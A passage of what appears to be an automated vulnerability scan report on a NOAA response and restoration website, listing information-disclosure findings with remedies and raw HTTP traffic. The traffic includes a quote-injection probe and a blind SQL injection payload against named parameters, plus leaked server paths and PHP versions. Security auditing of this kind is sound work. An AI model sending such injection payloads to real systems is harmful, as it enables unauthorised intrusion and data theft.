href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=2' target="_self">Students and Teachers</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=4' target="_self">Interested Public</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=5' target="_self">Research Institutions</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=6' target="_self">Other Agencies</a></td> </tr> </table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="../../current_news_topic.php" target="_self">Current News</a></td>
</tr>
<tr>
<td>
<a href="../../special_note_topic.php" target="_self">Special Note</a></td>
</tr>
<tr>
<td>
<a href="../../faq_catalog.php" target="_self">FAQs</a></td>
</tr>
</table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table width="150" border="0" cellspacing="2" cellpadding="2">
<caption>
<div align="left">
<span class="sidebar_titles">Catalogs of:</span>
</div>
</caption>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=2' target="_self">Publications</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=3' target="_self">Software & Data Sets</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=4' target="_self">Web Portals</a></td>
</tr>
<tr>
<td> <a href="../../link_catalog.php" target="_self">Links</a>
</td>
</tr>
<tr>
<td> <a href="../../resource_catalog.php" target="_self">Downloads</a>
</td>
</tr>
<tr>
<td> <a href="../../gallery_catalog.php" target="_self">Image Galleries</a>
</td>
</tr>
<tr>
<td> <a href="../../av_catalog.php" target="_self">Abandoned Vessels</a>
</td>
</tr>
<tr>
<td> <a href="../../dc_catalog.php" target="_self">Drift Card Studies</a>
</td>
</tr>
</table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="orr_about.php" target="_self">About OR&amp;R</a>
</td>
</tr>
<tr>
<td>
<a href="orr_contact.php" target="_self">Contact Us</a>
</td>
</tr>
<tr>
<td>
<a href="orr_search.php" target="_self">Advanced Search</a>
</td>
</tr>
<tr>
<td>
<a href="orr_index_topic.php" target="_self">Site Index</a>
</td>
</tr>
<tr>
<td>
<a title="NOAA's Privacy Policies" href="http://www.noaa.gov/privacy.html" target="_blank">Privacy Policy</a></td>
</tr>
<tr>
<td>
<a title="Document Accessibility" href="audience_subtopic_entry.php?entry_id=748&subtopic_id=27&audience_id=4" target="_self">Document Accessibility</a></td>
</tr>
</table> </td> </tr> </table> <!-- this td is the end of the left menu column --> </td> <!-- the next td starts the central panel --> <td align="left" valign="top" width="100%" height="100%"> <table summary="for page layout only" border="0" cellspacing="0" cellpadding="6"> <tr> <td align="left" valign="top" colspan='2'> <table border="0" cellspacing="0" cellpadding="0"> <!-- special deepwater horizon under banner --> <tr> <td><a onmouseover="window.status='Go to the home page';return true" onmouseout="window.status='';return true" href="deepwaterhorizon" target="_self"><img src="art_gallery/banners/banner_dwh_under.jpg" alt="introductory text" name="special under banner" border="0"></a></td> </tr> </table> </td> </tr> <tr><td colspan='2'><table border='0' cellspacing='0' cellpadding='0' align='center'><tr><td class='entrygroup_table'><a href='dwh.php?entry_id=809' target='_self'>Latest News</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=811' target='_self'>NOAA Roles</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=814' target='_self'>NOAA People</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=819' target='_self'>External Affairs</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=812' target='_self'><strong>Factsheets Publications</strong></a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=820' target='_self'>Press Releases</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=813' target='_self'>Multimedia</a></td></tr></table></td></tr> <tr> <!-- this td tag contains the center content area of the page --> <td align="left" valign="top"> <!-- this next table holds the right side column of the page --> <!-- show the ordinary side bar --> <table summary="for page layout only" align="right" valign="top" border="0" cellspacing="2" cellpadding="2"> <tr> <td align="center" valign="middle"> <!-- sidebar link box 1 --> <table class="sidebar_table" width="158" border="0" cellspacing="4" cellpadding="8"> <tr> <td> <span class="sidebar_titles">For more information</span><br> </td> </tr> <tr> <td class="sidebar_cell"> <a href='/deepwaterhorizon/informationresources' target="_self"><span class="link_title">Information Resources</span></a><br> <span class="link_notes">A collection of links to other web sites with Deepwater Horizon information.</span> <span class="link_info"></span> </td> </tr> </table> <!-- sidebar resource box 1 --> <!-- sidebar link box 2 --> <!-- sidebar resource box 2 --> <!-- sidebar link box 3 --> <!-- sidebar resource box 3 --> <!-- sidebar link box 4 --> <!-- sidebar resource box 4 --> <!-- sidebar link box 5 --> <!-- sidebar resource box 5 --> <!-- sidebar resource box 6 --> <!-- sidebar photo gallery box --> <!-- sidebar faq box --> <!-- sidebar nav link box --> </td> </tr> </table> <p><span class="feature_title">Publications, Factsheets and One-Pagers</span></p> <p> <!-- title / graphic / text block 1 --> </p> <p><span class="feature_title"></span></p> <p>Download more detailed documents with background and technical information.
<P><ul><li><a href="#currentmaps">Cum..
PHP Version Disclosure

PHP Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.

Impact

An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
- /deepwaterhorizon

/deepwaterhorizon

http://response.restoration.noaa.gov/deepwaterhorizon

Extracted Version

PHP/5.2.6-1+lenny9

Request

GET /deepwaterhorizon HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 302 Found
Date: Sat, 26 Feb 2011 13:47:09 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Location: http://response.restoration.noaa.gov/dwh.php?entry_id=809
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 393
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Redirect 404 Page</title>
</head>
<body>
<strong>SELECT url_dynamic FROM urls WHERE url_static = '/deepwaterhorizon'<br>
return url = /dwh.php?entry_id=809<BR><BR>
The page you are looking for does not exist. Please update your bookmark(s). We are sorry for this inconvenience.
</strong>
</body>
</html>
Database Error Message

Database Error Message

1 TOTAL
LOW
Netsparker identified a database error message.

Impact

The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.

Remedy

Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
- /topic_catalog.php

/topic_catalog.php

http://response.restoration.noaa.gov/topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_..

Parameters

Parameter Type Value
RECORD_KEY%28topics_chosen%29 GET topic_id
topic_id(topics_chosen) GET %27

Request

GET /topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=%2527 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:48:14 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 366
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html lang="en">

<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="2" Description="Error: &quot;mysql_fetch_array(): supplied argument is not a valid MySQL result resource&quot; on line 192 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/topic_catalog.php."/>
Programming Error Message

Programming Error Message

1 TOTAL
LOW
Netsparker identified a programming error message.

Impact

The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. Source code, stack trace, etc. type data may be disclosed. Most of these issues will be identified and reported separately by Netsparker.

Remedy

Do not provide error messages on production environments. Save error messages with a reference number to a backend storage such as a log, text file or database then show this number and a static user-friendly error message to the user.
- /audience_subtopic_entry.php

/audience_subtopic_entry.php

http://response.restoration.noaa.gov/audience_subtopic_entry.php?entry_id=%2527&subtopic_id=27&audie..

Parameters

Parameter Type Value
entry_id GET %27
subtopic_id GET 27
audience_id GET 4

Identified Error Message

<b>Fatal error</b>: Call to a member function Value() on a non-object in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/audience_subtopic_entry.php</b> on line <b>28</b>

Request

GET /audience_subtopic_entry.php?entry_id=%2527&subtopic_id=27&audience_id=4 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 335
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html lang="en">

<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<br /><b>Fatal error</b>: Call to a member function Value() on a non-object in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/audience_subtopic_entry.php</b> on line <b>28</b><br />
Forbidden Resource

Forbidden Resource

1 TOTAL
INFORMATION
CONFIRMED
1
Access to this resource has been denied by the web server. This is generally not a security issue, and is reported here for information purposes.

Impact

There is no impact resulting from this issue.
- /art_gallery/

/art_gallery/ CONFIRMED

http://response.restoration.noaa.gov/art_gallery/

Request

GET /art_gallery/ HTTP/1.1
Referer: http://response.restoration.noaa.gov/art_gallery/banners/banner_dwh.jpg
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 403 Forbidden
Date: Sat, 26 Feb 2011 13:47:09 GMT
Server: Apache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 184
Content-Type: text/html; charset=iso-8859-1


<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /art_gallery/on this server.</p></body></html>
MySQL Database Identified

MySQL Database Identified

1 TOTAL
INFORMATION
CONFIRMED
1
Netsparker identified that the target web site is using a MySQL Server. This is generally not a security issue and is reported here for information purposes.

Impact

This issue is reported as additional information only, there is no direct impact arising from this issue.
- /audience_subtopic_entry.php

/audience_subtopic_entry.php CONFIRMED

http://response.restoration.noaa.gov/audience_subtopic_entry.php?entry_id=-1%20OR%201=1%20AND%201=(S..

Request

GET /audience_subtopic_entry.php?entry_id=-1%20OR%201=1%20AND%201=(SELECT%20IF((IFNULL(ASCII(SUBSTRING((SELECT%20CONCAT(CHAR(78),CHAR(69),CHAR(84),CHAR(83),CHAR(80),CHAR(65),CHAR(82),CHAR(75),CHAR(69),CHAR(82))),5,1)),0)=88),1,2))&subtopic_id=27&audience_id=4 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:52:13 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 2081
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html lang="en">

<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<title> | | | NOAA's National Ocean Service Office of Response and Restoration</title>
<meta name="robots" content="noindex,nofollow,noarchive">
<meta name="keywords" content="">
<link href="orr.main.css" rel="stylesheet" media="screen, print">
</head>

<body bgcolor="#ffffff" leftmargin="5" marginheight="5" marginwidth="5" topmargin="5">
<table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0" height="100%">

<!-- banner -->
<tr>
<td>
<table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0">
<tr height="109">
<td align="center" valign="middle" height="109"><img src="/art_gallery/banners/banner_fish_habitat.jpg" alt="Office of Response and Restoration Web Banner" height="109" width="741" border="0"></td>
</tr>
<tr height="10">
<td class="search_bar" height="10" align="right" valign="middle">
<form action="orr_search.php" method="get" name="quick_search" target="_self">
<label for="Search"><span class="sidebar_titles">Search</span></label> <input type="text" name="keywords" id="Search" size="10"> <input type="submit" name="submit" value="Go">
</form>
</td>
</tr>
</table>
</td>
</tr> <tr height="100%">
<td align="left" valign="top" height="100%">
<table summary="for page layout only" width="100%" border="0" cellspacing="0" cellpadding="8" height="100%">
<tr height="100%">
<td align="left" valign="top" bgcolor="#ebebeb" width="162">
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr height="115">
<td align="right" valign="top" height="115">
<table width="150" border="0" cellspacing="2" cellpadding="2">

<!-- tiny icon menu -->

<tr>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=1'><img src='/art_gallery/tiny_icons/tiny_icon_emergency.gif' alt='Emergency Response' border="0"></a></td>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=2'><img src='/art_gallery/tiny_icons/tiny_icon_pollutant.gif' alt='Pollutants in the Environment' border="0"></a></td>
<tr>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=3'><img src='/art_gallery/tiny_icons/tiny_icon_communities.gif' alt='Serving Communities' border="0"></a></td>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=4'><img src='/art_gallery/tiny_icons/tiny_icon_restoration.gif' alt='Natural Resource Restoration' border="0"></a></td>
</tr>
</table>
</td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">

<!-- target audience menu -->

<caption>
<div align="left">
<span class="sidebar_titles">Information for:</span></div>
</caption>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=1'>Emergency Responders</a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=2'>Students and Teachers</a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=4'>Interested Public</a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=5'>Research Institutions</a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=6'>Other Agencies</a>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="../../current_news_topic.php" target="_self">Current News</a></td>
</tr>
<tr>
<td>
<a href="../../special_note_topic.php" target="_self">Special Note</a></td>
</tr>
<tr>
<td>
<a href="../../faq_catalog.php" target="_self">FAQs</a></td>
</tr>
</table> </td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table width="150" border="0" cellspacing="2" cellpadding="2">
<caption>
<div align="left">
<span class="sidebar_titles">Catalogs of:</span>
</div>
</caption>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=2' target="_self">Publications</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=3' target="_self">Software & Data Sets</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=4' target="_self">Web Portals</a></td>
</tr>
<tr>
<td> <a href="../../link_catalog.php" target="_self">Links</a>
</td>
</tr>
<tr>
<td> <a href="../../resource_catalog.php" target="_self">Downloads</a>
</td>
</tr>
<tr>
<td> <a href="../../gallery_catalog.php" target="_self">Image Galleries</a>
</td>
</tr>
<tr>
<td> <a href="../../av_catalog.php" target="_self">Abandoned Vessels</a>
</td>
</tr>
<tr>
<td> <a href="../../dc_catalog.php" target="_self">Drift Card Studies</a>
</td>
</tr>
</table> </td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="orr_about.php" target="_self">About OR&amp;R</a>
</td>
</tr>
<tr>
<td>
<a href="orr_contact.php" target="_self">Contact Us</a>
</td>
</tr>
<tr>
<td>
<a href="orr_search.php" target="_self">Advanced Search</a>
</td>
</tr>
<tr>
<td>
<a href="orr_index_topic.php" target="_self">Site Index</a>
</td>
</tr>
<tr>
<td>
<a title="NOAA's Privacy Policies" href="http://www.noaa.gov/privacy.html" target="_blank">Privacy Policy</a></td>
</tr>
<tr>
<td>
<a title="Document Accessibility" href="audience_subtopic_entry.php?entry_id=748&subtopic_id=27&audience_id=4" target="_self"><strong><font color='black'>Document Accessibility</font></strong></a></td>
</tr>
</table> </td>
</tr>
</table>
</td>
<td align="left" valign="top" width="100%">
<table summary="for page layout only" border="0" cellspacing="0" cellpadding="8">
<tr>
<td align="left" valign="top">
<table border="0" cellspacing="0" cellpadding="3">

<!-- breadcrumb trail -->

<tr height="60">
<td width="60" height="60"><a onmouseover="window.status='Go to the home page';return true" onmouseout="window.status='';return true" href="index.php" target="_self"><img src="art_gallery/524_NOAA-logo-no-type.jpg" alt="small noaa logo" name="_524_NOAA_logo_no_type" border="0"></a></td>
<td align="left" valign="middle" height="60"><a href="index.php" target="_self"><span class="center_titles">Home</span></a> | <a href='audience_catalog.php?<br /><b>Fatal error</b>: Call to a member function GetName() on a non-object in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/utils.runtime6.php</b> on line <b>732</b><br />
E-mail Address Disclosure

E-mail Address Disclosure

1 TOTAL
INFORMATION
Netsparker found e-mail addresses on the web site.

Impact

E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .

Remedy

Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.

External References

- /dwh.php

/dwh.php

http://response.restoration.noaa.gov/dwh.php?entry_id=812

Found E-mails

orr.webmaster@noaa.gov

Request

GET /dwh.php?entry_id=812 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:09 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Set-Cookie: PHPSESSID=519f6f3181b8c1eb7a34056beb0b2e04; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 8646
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"> <title>Publications, Factsheets and One-Pagers | Recent and Historical Incidents | Emergency Response | NOAA's National Ocean Service Office of Response and Restoration</title> <meta name="robots" content="noindex,nofollow,noarchive"> <meta name="keywords" content="Deepwater Horizon oil rig fire, Deepwater Horizon oil well fire, MODU, Mississippi Canyon 252, Louisiana, Mississippi"> <link href="orr.main.css" rel="stylesheet" media="screen, print"> <style type="text/css"> .ie .no_overlap {float: none; clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .ie7 .no_overlap {float: none; clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .win.gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .webkit .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .linux.gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .konqueror .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .graphic_cell_padding { padding-right: 6px; padding-left: 6px; padding-bottom: 6px } </style> <script type="text/javascript" charset="utf-8"> /* CSS Browser Selector v0.3.5 (Feb 05, 2010) Rafael Lima (http://rafael.adm.br) http://rafael.adm.br/css_browser_selector License: http://creativecommons.org/licenses/by/2.5/ Contributors: http://rafael.adm.br/css_browser_selector#contributors */ function css_browser_selector(u){var ua = u.toLowerCase(),is=function(t){return ua.indexOf(t)>-1;},g='gecko',w='webkit',s='safari',o='opera',h=document.documentElement,b=[(!(/opera|webtv/i.test(ua))&&/msie\s(\d)/.test(ua))?('ie ie'+RegExp.$1):is('firefox/2')?g+' ff2':is('firefox/3.5')?g+' ff3 ff3_5':is('firefox/3')?g+' ff3':is('gecko/')?g:is('opera')?o+(/version\/(\d+)/.test(ua)?' '+o+RegExp.$1:(/opera(\s|\/)(\d+)/.test(ua)?' '+o+RegExp.$2:'')):is('konqueror')?'konqueror':is('chrome')?w+' chrome':is('iron')?w+' iron':is('applewebkit/')?w+' '+s+(/version\/(\d+)/.test(ua)?' '+s+RegExp.$1:''):is('mozilla/')?g:'',is('j2me')?'mobile':is('iphone')?'iphone':is('ipod')?'ipod':is('mac')?'mac':is('darwin')?'mac':is('webtv')?'webtv':is('win')?'win':is('freebsd')?'freebsd':(is('x11')||is('linux'))?'linux':'','js']; c = b.join(' '); h.className += ' '+c; return c;}; css_browser_selector(navigator.userAgent); </script> </head> <body bgcolor="#ffffff" leftmargin="5" marginheight="5" marginwidth="5" topmargin="5"> <table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0" height="100%"> <!-- include the banner which inserts a tr / td / table / tr / td / here holding the banner --> <tr>
<td>
<table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0">
<tr height="109">
<td align="center" valign="middle" height="109"><a href="index.php" target="_self"><img src="art_gallery/banners/banner_dwh.jpg" alt="Office of Response and Restoration Web Banner" height="109" width="741" border="0"></a></td>
</tr>
<tr>
<td class="search_bar"><form action="orr_search.php" method="get" name="quick_search" target="_self"> <label for="Search"><span class="sidebar_titles">Search</span></label> <input type="text" name="keywords" id="Search" size="10"> <input type="submit" name="submit" value="Go"></form></td>
</tr>
</table>
</td>
</tr> <!-- this next tr is the start of the row containing the table containing the left menu, central panel and right sidebar --> <tr height="100%"> <td align="left" valign="top" height="100%"> <table summary="for page layout only" width="100%" border="0" cellspacing="0" cellpadding="8" height="100%"> <tr height="100%"> <!-- this td is the start of the left menu column --> <td align="left" valign="top" bgcolor="#ebebeb" width="162" height="100%"> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2"> <tr height="115"> <td align="right" valign="top" height="115"> <table width="150" border="0" cellspacing="2" cellpadding="2"> <!-- tiny icon menu with topic chosen --> <tr> <td><img src='/art_gallery/icons/icon_emergency.jpg' alt='Emergency Response'></td> </tr> </table> <table width="150" border="0" cellspacing="2" cellpadding="2"> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=1'><strong><font color='black'>Emergency Response</font></strong></a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=2'>Pollutants in the Environment</a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=3'>Serving Communities</a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=4'>Natural Resource Restoration</a> </td> </tr> </table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2"> <!-- target audience menu --> <caption> <div align="left"> <span class="sidebar_titles">Information for:</span></div> </caption> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=1' target="_self">Emergency Responders</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=2' target="_self">Students and Teachers</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=4' target="_self">Interested Public</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=5' target="_self">Research Institutions</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=6' target="_self">Other Agencies</a></td> </tr> </table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="../../current_news_topic.php" target="_self">Current News</a></td>
</tr>
<tr>
<td>
<a href="../../special_note_topic.php" target="_self">Special Note</a></td>
</tr>
<tr>
<td>
<a href="../../faq_catalog.php" target="_self">FAQs</a></td>
</tr>
</table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table width="150" border="0" cellspacing="2" cellpadding="2">
<caption>
<div align="left">
<span class="sidebar_titles">Catalogs of:</span>
</div>
</caption>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=2' target="_self">Publications</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=3' target="_self">Software & Data Sets</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=4' target="_self">Web Portals</a></td>
</tr>
<tr>
<td> <a href="../../link_catalog.php" target="_self">Links</a>
</td>
</tr>
<tr>
<td> <a href="../../resource_catalog.php" target="_self">Downloads</a>
</td>
</tr>
<tr>
<td> <a href="../../gallery_catalog.php" target="_self">Image Galleries</a>
</td>
</tr>
<tr>
<td> <a href="../../av_catalog.php" target="_self">Abandoned Vessels</a>
</td>
</tr>
<tr>
<td> <a href="../../dc_catalog.php" target="_self">Drift Card Studies</a>
</td>
</tr>
</table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="orr_about.php" target="_self">About OR&amp;R</a>
</td>
</tr>
<tr>
<td>
<a href="orr_contact.php" target="_self">Contact Us</a>
</td>
</tr>
<tr>
<td>
<a href="orr_search.php" target="_self">Advanced Search</a>
</td>
</tr>
<tr>
<td>
